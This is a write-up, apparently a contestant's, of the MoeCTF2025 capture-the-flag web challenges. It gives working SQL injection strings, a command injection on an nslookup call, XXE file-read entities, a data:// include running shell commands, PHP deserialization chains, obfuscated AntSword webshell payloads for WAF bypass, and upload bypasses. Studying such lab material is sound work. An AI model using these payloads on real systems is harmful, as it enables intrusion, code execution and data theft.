MoeCTF2025 web全+部分misc+部分cry

WEB

0 Web入门指北

你知道什么是控制台吗？快去了解一下吧！

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控制台直接解即可

01 第一章神秘的手镯

翻js代码即可

moectf{f_i2_1s_Your_g00d_fri3nd!!}

02 第二章初识金曦玄轨

抓/golden_trail的请求包即可

03 第三章问剑石！篡天改命！

async function stealFlag() {
    try {
        // 篡改关键参数：天机"S级" + 道韵"流云青芒"
        const response = await fetch('/test_talent?level=S', {  // 篡改点1：level=S
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ manifestation: 'flowing_azure_clouds' }) // 篡改点2
        });
        
        const data = await response.json();
        console.log("天道响应：", data);
        
        // 验证道法成功
        if (data.result.includes('流云状青芒') && data.flag) {
            alert(`✨ 篡天成功！宗门密钥：\n\n${data.flag}`);
        } 
    } catch (error) {
        console.error("❌ 道则反噬：", error);
    }
}

// 发动篡天秘术
stealFlag();

思路为修改这俩个参数，交给ai写代码即可

edge不能复制，可以尝试换浏览器（firefox或chrome）

tips：给出这段代码的解析

基础框架

async function testTalent() {
  try {
    // 尝试执行的代码
  } catch (error) {
    // 出错时的处理
  }
}

async function：声明这是一个"异步函数"，就像点外卖后可以继续做其他事，不用干等外卖
try/catch：像安全气囊，try里是正常操作，catch是出错时的保护

核心功能解析

1. 发送网络请求

const response = await fetch('/test_talent?level=B', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ manifestation: 'none' })
});

作用：向服务器发送一个申请"天赋测试"的请求
类比：像在ATM机上操作
- /test_talent?level=B：选择"B级测试"服务
- method: 'POST'：按确认键提交申请
- headers：告诉ATM机"我要存/取JSON格式的数据"
- body: ...：实际提交的内容（这里填写"光芒表现：无"）

2. 解析服务器回应

const data = await response.json();

作用：把服务器返回的数据转换成JavaScript能理解的格式
类比：ATM机吐出凭条后，你阅读上面的内容

3. 显示测试结果

document.getElementById('result').textContent = data.result;

作用：在网页上显示测试结果
分解：
- document.getElementById('result')：找到ID为"result"的显示区域
- .textContent = ...：把文字内容改成服务器返回的结果

4. 控制光芒特效

const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
  glow.style.opacity = '1';  // 显示光芒
} else {
  glow.style.opacity = '0';  // 隐藏光芒
}

作用：根据测试结果决定是否显示酷炫光芒特效
判断逻辑：
- 如果结果包含"流云状青芒" → 让特效显示（透明度100%）
- 其他情况 → 隐藏特效（透明度0%）

5. 触发特殊奖励（flag）

if (data.flag) {
  setTimeout(() => {
    alert(`✨ 天道机缘：${data.flag} ✨\n\n天赋篡天术大成！`);
  }, 500);
}

作用：检测是否有隐藏奖励（flag），有则0.5秒后弹出提示
工作流程：
1. 检查服务器是否返回了flag字段
2. 如果有：等待0.5秒（让主结果显示完毕）
3. 弹出金光闪闪的提示框显示flag内容

6. 错误处理

} catch (error) {
  alert('玄轨连接中断！请检查灵枢...');
}

作用：网络故障时的应急处理
类比：ATM机突然断网时显示的温馨提示

05 第五章打上门来！

目录穿越即可

04 第四章金曦破禁与七绝傀儡阵

直接get传key=xdsec

碎片1 bW9lY3Rme0Mw

碎片2 bjZyNDd1MTQ3

碎片3 MTBuNV95MHVy

碎片4 X2g3N1BfbDN2

加个cookie

碎片5 M2xfMTVfcjM0碎片6 bGx5X2gxOWgh

碎片7 fQ==

比较有意思的提示

:::info

第一关：守门傀儡·磐石

一尊形如巨龟、背负厚重石甲的傀儡堵在通道入口，双目红光闪烁，散发着重如山岳的压迫感。其胸口核心处，一块玉板闪烁着微光，上书："欲过此关，需诵真言，启吾心窍，示之以'秘钥'（xdsec）。"

HDdss立刻取出破阵罗盘，神念沉入。傀儡周围，立刻浮现出清晰的金色玄轨流动。他"看"到，傀儡的核心禁制在等待一个特定的"玄轨真言"。结合玉板提示，"示之以秘钥"即需要将秘钥"xdsec"传递给傀儡。

"真言起手式……应是'取'（GET）。"HDdss心中明悟，神念凝聚，通过罗盘构筑真言：

GET /?key=xdsec HTTP/1.1 Host: 磐石傀儡

关键：使用GET方法，将参数key=xdsec附加在路径之后

真言发出！磐石傀儡核心光芒一闪，厚重的石甲缓缓移开，露出通道，一枚通关玉简悬浮而出。"第一关，过！"HDdss信心大增。

第二关：织云傀儡·流风

通道尽头，一尊形似仙鹤、身披流云纹路的傀儡轻盈悬浮，双翼微振，带起道道锋利风刃。其核心玉板："吾慕织云，欲争魁首。以汝真言，告之宗门：'织云阁=第一'。"

提示明确需要传递"织云阁=第一"这个信息。HDdss再次驱动罗盘探查玄轨，发现此傀儡的禁制核心更倾向于接收"深藏"的真言本意（Body），而非显露于外的路径参数。且信息中包含中文！

"需用'呈'（POST）之法，真言本意深藏，并以'转生符'（URL编码）化之！"HDdss迅速判断。他回忆K皇所授，意念凝聚，构筑真言：

POST /declare HTTP/1.1 Host: 织云傀儡 Content-Type: application/x-www-form-urlencoded %E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80

关键：使用POST方法；设置Content-Type为表单编码；Body部分将"织云阁=第一"进行URL编码：%E7%BB%87%E4%BA%91%E9%98%81=织云阁，%3D==，%E7%AC%AC%E4%B8%80=第一

真言发出！织云傀儡发出一声清唳，周身风刃消散，流云纹路光芒流转，显得极为愉悦。第二枚玉简落下。

第三关：溯源傀儡·匿影

此关傀儡形如鬼魅，身形飘忽不定，仿佛融入阴影。玉板提示："非吾同源，难近吾身。唯'本地之灵'，方得信任。"

"本地之灵？"HDdss皱眉。K皇曾提过"本我溯源"（X-Forwarded-For）敕令可伪装源头！此关之意，是要求真言必须看起来像是从"本地"（127.0.0.1）发出的！

他立刻构筑真言，并在敕令（Headers）中加入关键伪装：

GET /trusted HTTP/1.1 Host: 溯源傀儡 X-Forwarded-For: 127.0.0.1

关键：在Headers中添加X-Forwarded-For: 127.0.0.1，伪装请求来源为本地

真言发出！匿影傀儡身形一滞，仿佛确认了什么，缓缓退入阴影，让开通道。第三枚玉简浮现。

第四关：器灵傀儡·辨微

一尊通体由精密水晶构成的傀儡，无数光点在体内流转，如同审视万物的眼睛。玉板："吾识万灵，唯爱'萌物'。非'萌灵之器'，拒之门外。"

"萌物？萌灵之器？"HDdss略一思索，想起K皇提过的"器灵之证"（User-Agent）。此关要求，必须使用特定的、被傀儡识别为"萌物"的浏览器（如moe browser）发出的请求！

他驱动罗盘，模拟修改敕令：

GET /access HTTP/1.1 Host: 器灵傀儡 User-Agent: moe browser

关键：修改User-Agent Header为moe browser，伪装成特定浏览器访问

真言发出！水晶傀儡体内光点欢快地跳跃，发出悦耳的叮咚声，让开道路。第四枚玉简入手。

第五关：心印傀儡·窃玉

此关傀儡身着华服，面容模糊，手持一枚不断变幻的令牌。玉板："吾持心印，变幻莫测。欲破此关，以'xt'之名，攻吾之隙！"

"'以xt之名'！"HDdss瞳孔一缩。这分明是暗示要窃取或冒充xt长老的身份印记！K皇所授的"心印之痕"（Cookie）正是关键！他需要找到xt长老在此傀儡禁制中留下的身份"Cookie"，并将其篡改为xt！

他先用罗盘正常发出一个探查请求（GET /），观察傀儡的回应（Response）。在回应的敕令（Headers）中，果然发现一行：
Set-Cookie: user=HDdss; Path=/
这显然是傀儡根据他的核心弟子令牌临时赋予的身份印记（Cookie），当前用户是HDdss。

"需要将后续请求中的这个user值，改为'xt'！"HDdss立刻构筑攻击真言：

GET /attack HTTP/1.1 Host: 心印傀儡 Cookie: user=xt

关键：在后续请求的Headers中，携带修改后的Cookie：user=xt，冒充xt的身份

真言发出！心印傀儡手中的令牌瞬间定格，华服身影一阵扭曲模糊，发出不甘的嘶鸣，随即僵立不动。第五枚玉简落下。HDdss心中凛然，这"心印之痕"果然至关重要，可窃取身份，行僭越之事！

第六关：前尘傀儡·引路

一尊背负巨大书简的傀儡，书简上无数光字流转。玉板："无根之木，无源之水。汝从何来？需有'引路之证'。"

"引路之证？从何而来？"HDdss立刻联想到"前尘引路"（Referer）敕令。此关要求，发出的真言必须包含"引路之证"，即标明这个请求是从哪个"前站"（页面/URL）链接或跳转过来的！

他推测，只有标明是从某个特定地方（比如第一关的入口）来的请求，才会被认可。他尝试构筑真言：

GET /pass HTTP/1.1 Host: 前尘傀儡 Referer: http://磐石傀儡/entry

关键：在Headers中添加Referer字段，指明请求来源是"磐石傀儡的入口"

真言发出！书简傀儡背上的光字停止流转，组合成一道光门。第六枚玉简从中飞出。

第七关：逆转傀儡·归墟

最后一关，傀儡造型最为古朴，如同一个巨大的青铜鼎炉，炉口幽深，仿佛能吞噬一切。玉板只有一句晦涩真言："阴阳逆乱，归墟可填。以'覆'代'取'，塑吾新生。"

"'覆'代'取'？"HDdss凝神思索。K皇所授方法中，"取"（GET）是获取，"呈"（POST）是提交，"覆"（PUT）则常用于更新或替换整个资源！此关之意，是要求使用不常用的"PUT"方法，去完成某种"覆盖"或"塑造"的操作！

他驱动罗盘，仔细探查鼎炉傀儡的玄轨。发现其核心禁制对标准的GET/POST真言毫无反应，仿佛在等待一种特定的、更具"覆盖性"的指令。

"就是'覆'（PUT）！"HDdss下定决心，构筑真言：

PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生！

关键：使用PUT方法；简单设置Content-Type；在Body中传递一个象征"新生"的信息

真言发出！青铜鼎炉剧烈震动，炉口幽光爆发，随即缓缓收敛平息，鼎身浮现出玄奥的符文。一枚比其他六枚更加璀璨、蕴含着丝丝空间波动的玉简缓缓升起。七绝傀儡阵，通关！

HDdss长舒一口气，额角已见汗珠。连续七关，每一关都需要精准理解禁制意图，并运用对应的"金曦破禁真言"进行修改或构造，心神消耗巨大。但收获同样巨大！他对"玄轨真言"的结构、各敕令的妙用、以及不同方法（GET/POST/PUT）的差异，有了更深切、更实战化的理解，这远比枯坐听讲领悟深刻百倍！

收起七枚玉简，尤其是那枚空间波动最强的第七关玉简，HDdss转身离开七绝傀儡阵。他知道，这枚玉简不仅是通关凭证，更可能指向下一个任务或机缘。手腕上，K皇的虚影悄然浮现，带着一丝嘉许："孺子可教。金曦破禁，已得三分真味。然此术浩瀚，日后更需勤修不辍。这'归墟玉简'……或许与老夫所需之'引魂玉'线索有关。且回听竹小筑，细细参研。"

流云峰上，竹影婆娑。HDdss的身影消失在通往听竹小筑的青石小径上，心中充满了对更高境界的渴望和对未知线索的期待。金曦破禁之术，将成为他在仙门立足、探寻K皇过往、乃至攀登更高峰的利器。而玄天剑宗的暗流，似乎也随着他在傀儡阵中的表现，开始悄然涌动。

:::

合成flagbW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

06 第六章藏经禁制？玄机初探！
万能密码直接登录

[http://127.0.0.1:2155/?username=1'or+1=1--+&password=21231](http://127.0.0.1:2155/?username=1%27or+1--+&password=21231)

07 第七章灵蛛探穴与阴阳双生符

题目描述一眼robots.txt 路径给到flag.php 访问之后md5若比较绕过即可

08 第八章天衍真言，星图显圣

?username=-1'union select group_concat(value,'-',value,'-'),2 from flag --+&password=13

sql注入

查数据库名-->查表名-->列值

Moe笑传之猜猜爆

审计js代码发现直接控制台拿到输入即可

09 第九章星墟禁制·天机问路

起初以为这道题是ssrf，但事实上不是，通过;截断命令再进行env即可读取flag

好奇这道题是怎么实现的于是就去读了源码

<?php
$output = "";
if (isset($_GET['url'])) {
    $domain = $_GET['url'];
    ob_start();
    system("nslookup " . $domain);
    $output = ob_get_clean();
}
?>

看到后端直接system调用，也就合理了，但是好奇为什么nslookup无法运行会报错

:::info
1.
DNS 服务未运行
目标服务器（10.43.0.10）上的 DNS 服务（如 named、dnsmasq）未启动或已崩溃。
验证命令：在服务器上执行 systemctl status named（或对应服务名），检查服务状态。

防火墙阻止连接
本地或服务器端的防火墙（如 iptables、firewalld）或云平台安全组规则阻止了对 UDP/TCP 53 端口的访问。
典型表现：ping测试正常，但端口访问被拒绝。
DNS 服务器监听地址错误
DNS 服务仅绑定到 127.0.0.1（本地回环地址），未监听外部 IP（如 10.43.0.10），导致外部请求被拒绝。
验证命令：在服务器上执行 netstat -tulnp | grep 53，检查监听地址是否为 0.0.0.0或目标 IP。
网络配置问题
客户端与服务器不在同一子网，或路由配置错误导致网络不可达。
DNS 服务器 IP（10.43.0.10）已失效或配置错误。
DNS 服务器资源耗尽或过载
高负载导致服务无法响应新连接。

:::

询问主办是不出网的原因

第十章天机符阵

魔改xxe，只要根据题目报错修改即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.txt">
]>
<root>
  <阵枢>引魂玉</阵枢>
  <解析>实体注入完成</解析>
  <输出>&xxe;</输出>
</root>

10 第十章天机符阵_revenge

好像跟上题比只改了路径

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
]>
<root>
  <阵枢>引魂玉</阵枢>
  <解析>实体注入完成</解析>
  <输出>&xxe;</输出>
</root>

12 第十二章玉魄玄关·破妄

直接给马子了那就直接连

这边提一嘴关于蚁剑编码器可以用来绕waf的知识点

default:

tiger=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return str_rot13($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c8b5a";echo @asenc($output);echo "ad3f9";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

base64:

_0xe5c436e26d9c2=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIHN0cl9yb3QxMygkb3V0KTt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICI3ODE4OCI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMmRhYmQiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw==&tiger=@eval(@base64_decode($_POST[_0xe5c436e26d9c2]));

chr:

tiger=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(115).ChR(116).ChR(114).ChR(95).ChR(114).ChR(111).ChR(116).ChR(49).ChR(51).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(56).ChR(49).ChR(56).ChR(57).ChR(99).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(99).ChR(102).ChR(56).ChR(51).ChR(50).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));

rot13:

_0xb7628defadc01=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea fge_ebg13($bhg);};sh

13 第十三章通幽关·灵纹诡影

检验jpg后缀用双后缀绕过检验头部直接在burp改hex然后蚁剑连接即可

14 第十四章御神关·补天玉碑

标准的.htaccess

摸金偶遇FLAG，拼尽全力难战胜

import requests
import json
import time
import re

# 目标服务器地址
host = "http://127.0.0.1:6706"

# 初始会话Cookie（从图片中提取）
initial_session = "1755583438869_2034d6c1"

def get_challenge(session_cookie):
    """获取新的挑战数据并处理会话更新"""
    challenge_url = f"{host}/get_challenge?count=9"
    
    headers = {
        "Host": "127.0.0.1:6706",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36",
        "Accept": "*/*",
        "Referer": f"{host}/",
        "Cookie": f"session={session_cookie}",
        "Connection": "close"
    }

    try:
        response = requests.get(challenge_url, headers=headers)
        if response.status_code == 200:
            # 提取新的session cookie
            new_session = extract_session_cookie(response.headers)
            
            # 解析响应数据
            data = response.json()
            return data["numbers"], data["token"], new_session
        else:
            print(f"获取挑战失败，状态码：{response.status_code}")
            return None, None, None
    except Exception as e:
        print(f"获取挑战时出错：{str(e)}")
        return None, None, None

def extract_session_cookie(headers):
    """从响应头中提取session cookie"""
    if "Set-Cookie" in headers:
        set_cookie = headers["Set-Cookie"]
        # 使用正则表达式提取session值
        match = re.search(r'session=([^;]+)', set_cookie)
        if match:
            return match.group(1)
    return None

def submit_answers(numbers, token, session_cookie):
    """提交答案进行验证"""
    verify_url = f"{host}/verify"
    
    headers = {
        "Content-Type": "application/json",
        "Host": "127.0.0.1:6706",
        "Referer": f"{host}/",
        "Cookie": f"session={session_cookie}",
        "Connection": "close"
    }
    
    payload = {
        "answers": numbers,
        "token": token
    }

    try:
        response = requests.post(
            verify_url,
            data=json.dumps(payload),
            headers=headers
        )
        
        if response.status_code == 200:
            return response.json()
        else:
            print(f"提交验证失败，状态码：{response.status_code}")
            print(f"响应内容：{response.text[:200]}")
            return None
    except Exception as e:
        print(f"提交验证时出错：{str(e)}")
        return None

def main():
    """主函数：自动获取挑战并提交答案"""
    print("开始自动获取挑战...")
    current_session = initial_session
    
    while True:
        # 获取新挑战
        numbers, token, new_session = get_challenge(current_session)
        
        if numbers is None or token is None:
            print("等待5秒后重试...")
            time.sleep(5)
            continue
        
        # 更新会话（使用服务器返回的新session）
        if new_session:
            print(f"更新会话：{new_session[:15]}...")
            current_session = new_session
        
        print(f"获取到新挑战: 数字序列={numbers}, 令牌={token[:15]}...")
        
        # 提交验证（使用新session）
        result = submit_answers(numbers, token, current_session)
        if result is None:
            print("等待5秒后重试...")
            time.sleep(5)
            continue
            
        print("验证结果:")
        if result.get("correct"):
            print(f"✓ 挑战成功！获取到FLAG：{result.get('flag')}")
            # 成功获取FLAG后退出循环
            break
        else:
            print(f"✗ 验证失败：{result.get('message', '未知错误')}")
        
        print("\n准备下一次挑战...")
        time.sleep(3)  # 短暂间隔后继续

if __name__ == "__main__":
    main()

点击开始游戏抓包就可以看到服务器怎么获取正确答案

可以拿到值跟token

            function getProgressBarText(style) {
                switch (style) {
                    case 0:
                        return ">>> 等待开始挑战...";
                    case 1:
                        return ">>> 防破译进程加载中...";
                    case 2:
                        return ">>> 正在骇入系统...";
                    case 3:
                        return ">>> 挑战超时";
                    case 4:
                        return `>>> 挑战已终止，正确密码 ${realCode.join("")}`;
                    default:
                        fetch("/verify", {
                            method: "POST",
                            headers: {
                                "Content-Type": "application/json",
                            },
                            body: JSON.stringify({
                                answers: realCode,
                                token: myToken
                            })
                        })
                            .then((response) => response.json())
                            .then((data) => {
                                if (data.correct) {
                                    const flag = data.flag || "无法获取flag";
                                    $(".computerTitle").text(`破译完成，已获取如下权限: ${flag}`);
                                } else {
                                    $(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`);
                                }
                            })
                            .catch((error) => {
                                console.error("Error verifying solution:", error);
                                $(".computerTitle").text("破译完成，但无法获取权限内容");
                            });
                        $(".decode-item-block").show();
                        $(".leftPanel,.inputPanel").hide();
                        return (
                            ">>> 骇入成功" +
                            (limitChallenge ? `，挑战用时：${passedTime} 秒` : "")
                        );
                }
            }

根据这段代码编写脚本提交即可

11 第十一章千机变·破妄之眼
用脚本生成所有排列组合

import itertools
params = ['m','n','o','p','q']
permutations = [''.join(p) for p in itertools.permutations(params)]
result = "\n".join([f"{perm}={perm}" for perm in permutations])
print(result)

burp爆破即可

拿到find.php路由

随便提交一下出现file参数，用php://filter读取即可

16 第十六章昆仑星途
题目给了dockerfile，第一想法是爆破，但是太长了，爆破需要很长时间，于是尝试text协议，成功读取

?file=data:text/plain,<?php system('cat /flag-0I7f0YEZNMSn6epa16JV4ee5pnX7gR.txt');//

//用来绕过强制拼接后缀php

17 第十七章星骸迷阵·神念重构

<?php

class A {
    public $a;
    function __destruct() {
        eval($this->a);
    }
}

$payload=new A();
$payload->a="system('tac /f*');";
echo serialize($payload);
echo urlencode(serialize($payload));

最简单的php反序列化

18 第十八章万卷诡阁·功法连环



<?php
class PersonA {
    private $name; 
    
    public function __construct() {
        $this->name = new PersonB(); 
    }
    
    function __wakeup() {
        $this->name->work(); 
    }
}

class PersonB {
    public $name="system('tac /f*');";
    function work(){
        $name=$this->name;
        eval($name);
    }
}

// 生成Payload（自动处理私有属性格式）
$payload = new PersonA();
$serialized = serialize($payload);
$fixed = str_replace('PersonAname', "\x00PersonA\x00name", $serialized); // 替换为正确格式
echo urlencode($fixed);

链子是极简单的，私有属性处理的标准形式

19 第十九章星穹真相·补天归源

<?php
class Person { public $name, $id, $age; public function __invoke($id) {} }
class PersonA extends Person { public function __destruct() {} }
class PersonB extends Person { public function __set($k, $v) {} }
class PersonC extends Person { 
    public function __Check($age) {}
    public function __wakeup() {}
}

$personB = new PersonB();
$personObj = new Person();
$personObj->id = $personB;
$personObj->name = "b";

$personC = new PersonC();
$personC->name = "system";
$personC->age = "a";
$personC->id = $personObj;

$personA = new PersonA();
$personA->name = $personC;
$personA->id = "__Check";
$personA->age = "cat /flag"; // 修改为实际命令

echo urlencode(serialize($personA));
?>

